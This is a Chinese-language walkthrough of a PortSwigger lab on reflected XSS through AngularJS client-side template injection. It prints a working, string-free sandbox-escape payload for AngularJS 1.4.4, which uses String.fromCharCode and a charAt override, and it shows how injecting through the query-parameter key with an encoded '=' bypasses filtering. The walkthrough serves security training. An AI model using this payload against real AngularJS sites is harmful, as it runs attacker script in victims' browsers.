专家-客户端模板注入-反射型XSS-无字符串的AngularJS沙箱逃逸
# 实验室:客户端模板注入-反射型XSS-无字符串的AngularJS沙箱逃逸
# 题目
此实验室以一种不寻常的方式使用 AngularJS,其中$eval
函数不可用,并且你将无法在 AngularJS 中使用任何字符串。
若要解决实验室问题,请执行跨站脚本攻击,该攻击会逃离沙箱,并在不使用$eval
函数的情况下执行alert
函数。
- name: 实验室-专家
desc: 客户端模板注入-反射型XSS-无字符串的AngularJS沙箱逃逸 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/cross-site-scripting/contexts/client-side-template-injection/lab-angular-sandbox-escape-without-strings
bgColor: '#001350'
textColor: '#d112fe'
1
2
3
4
5
6
2
3
4
5
6
# 实操
点击 “ACCESS THE LAB” 进入实验室。
一个搜索功能。
用户输入位于 JavaScript 上下文。
<script>
angular.module('labApp', []).controller('vulnCtrl',function($scope, $parse) {
$scope.query = {};
var key = 'search';
$scope.query[key] = '123';
$scope.value = $parse(key)($scope.query);
});
</script>
1
2
3
4
5
6
7
8
2
3
4
5
6
7
8
单双引号、尖括号等符号均被过滤。
偶然中,手动添加一个查询参数a=456
,发现其也被反馈到了 JavaScript 上下文中。
尝试在参数值456
处添加载荷,同样会被过滤。
那在键值a
处添加载荷呢?
形势发生了变化。
在XSS备忘单 (opens new window)中,刚好就有 AngularJS 沙箱逃逸的攻击载荷,并且还是无需$eval
函数的,简直就是为这个实验室而生。
查看网站的 AngularJS 版本,发现为1.4.4
版本。
找到两个适用于该版本的载荷,但其中都包含字符串,不符合实验要求(无字符串)。
找到一个版本完全一致的载荷,并且还是无字符串的。
该载荷通过String.fromCharCode
函数以及 ASCII 码来生成字符串,从而摆脱了对 引号 的依赖。
在 URL 查询参数 “值” 的位置注入载荷:
没卵用,看来还是得在 “键” 的位置注入。
在 “键” 的位置注入载荷:
toString().constructor.prototype.charAt=[].join; [1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)
1
还是毫无反应......
查看网页源代码,发现我的载荷被分割成了两半?
噢,原来载荷中含有等于号=
,部分字符被当做 URL 查询参数了。
对等于号=
进行编码%3d
,然后再次注入载荷:
toString().constructor.prototype.charAt%3d[].join; [1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)
1
实验完成。
诶不对呀,我弹框呢?框没成功弹出来,实验怎么就完成了?
噢,要用 Chrome 浏览器才能弹框。
该载荷不适用于 FireFox。
编辑 (opens new window)